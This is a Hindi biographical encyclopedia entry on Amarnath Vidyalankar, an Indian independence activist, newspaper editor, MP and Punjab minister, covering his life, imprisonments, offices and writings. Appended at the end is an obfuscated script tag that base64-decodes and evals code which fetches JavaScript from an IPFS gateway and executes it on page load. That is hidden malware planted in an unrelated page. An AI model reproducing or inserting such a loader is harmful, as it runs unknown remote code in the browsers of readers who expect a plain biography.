अमरनाथ विद्यालंकार
अमरनाथ विद्यालंकार
| |
पूरा नाम | अमरनाथ विद्यालंकार |
जन्म | 8 दिसम्बर, 1901 |
जन्म भूमि | ज़िला सरगोधा, अविभाजित पंजाब (अब पाकिस्तान में) |
मृत्यु | 21 सितम्बर, 1985 |
मृत्यु स्थान | दिल्ली |
पति/पत्नी | शांता देवी |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी, पत्रकार, सामाजिक कार्यकर्ता |
धर्म | हिन्दू |
जेल यात्रा | 'किसान आंदोलन' 1941 में और 'भारत छोड़ो आंदोलन' 1942 में जेल यात्रा की। |
विद्यालय | गुरुकुल कांगड़ी विश्वविद्यालय |
राजनीतिक दल | भारतीय राष्ट्रीय कांग्रेस |
अन्य जानकारी | गुरुकुल से निकलते ही अमरनाथ विद्यालंकार देश और समाज की सेवा के उद्देश्य से लाला जी की संस्था ‘लोक सेवा समाज’ के सदस्य बन गए थे। उन्होंने लाला जी के सचिव के रूप में भी काम किया। |
अमरनाथ विद्यालंकार (अंग्रेज़ी: Amarnath Vidyalankar, 8 दिसम्बर, 1901, शाहपुर ज़िला; 21 सितम्बर, 1985, दिल्ली) भारतीय स्वतंत्रता संग्राम के सेनानी, पत्रकार, सामाजिक कार्यकर्ता तथा सांसद थे। भारत के स्वतंत्रता संग्राम में भाग लेने वाले सेनानियों में से वे एक थे। अमरनाथ विद्यालंकार भारतीय राष्ट्रीय कांग्रेस के सदस्य थे। स्वतन्त्रता के बाद 1957 से 1962 तक वे पंजाब सरकार में शिक्षा, श्रम तथा भाषा के मंत्री थे। वे प्रथम लोकसभा (1952-56), तीसरी लोकसभा (1962-67) और पाँचवीं लोकसभा (1971-77) के सांसद भी रहे।
परिचय
अमरनाथ विद्यालंकार का जन्म 8 दिसंबर, 1901 को अविभाजित पंजाब के सरगोधा ज़िले में (अब पाकिस्तान) एक खत्री परिवार में हुआ था। विद्यार्थी जीवन में ही उन पर महात्मा गाँधी और लाला लाजपत राय के विचारों का प्रभाव पड़ चुका था। गुरुकुल से निकलते ही वह देश और समाज की सेवा के उद्देश्य से लाला जी की संस्था ‘लोक सेवा समाज’ के सदस्य बन गए। उन्होंने लाला जी के सचिव के रूप में भी काम किया।
विभिन्न गतिविधियाँ
लाला लाजपत राय की मृत्यु के बाद पुरुषोत्तम दास टंडन जब ‘लोक सेवक समाज’ के अध्यक्ष बने तो अमरनाथ विद्यालंकार को ‘पंजाब केसरी’ नामक पत्र के संपादक का कार्य सौंपा गया। इस बीच में अकाल से पीड़ितों की सेवा और श्रमिकों को संगठित करने का कार्य भी वे करते रहे। कुछ सहयोगियों के साथ उन्होंने पंजाब के गांवों में किसान विद्यालय खोले।
'किसान आंदोलन' 1941 में और 'भारत छोड़ो आंदोलन' 1942 में उन्होंने जेल यात्रा की। देश के विभाजन के समय उन्होंने पाकिस्तान से आए विस्थापितों की बड़ी सहायता की।
मंत्री पद
सन 1949 में पंजाब विधानसभा के और 1952 तथा 1962 में अमरनाथ विद्यालंकार लोकसभा के सदस्य चुने गए। प्रताप सिंह कैरों के मंत्रिमंडल में वे मंत्री भी रहे। उन्होंने अनेक श्रमिक सम्मेलनों में भारत के प्रतिनिधिमंडलों का नेतृत्व किया।
रचनाएँ
अमरनाथ विद्यालंकार ने अनेक पुस्तकों की रचनाएँ भी कीं, जिनमें प्रमुख हैं-
- भारत का इतिहास
- आज का मानव समाज
- मानव संघर्ष
- सोशल एजुकेशन इन इंडिया
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
- REDIRECTसाँचा:स्वतन्त्रता सेनानी
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>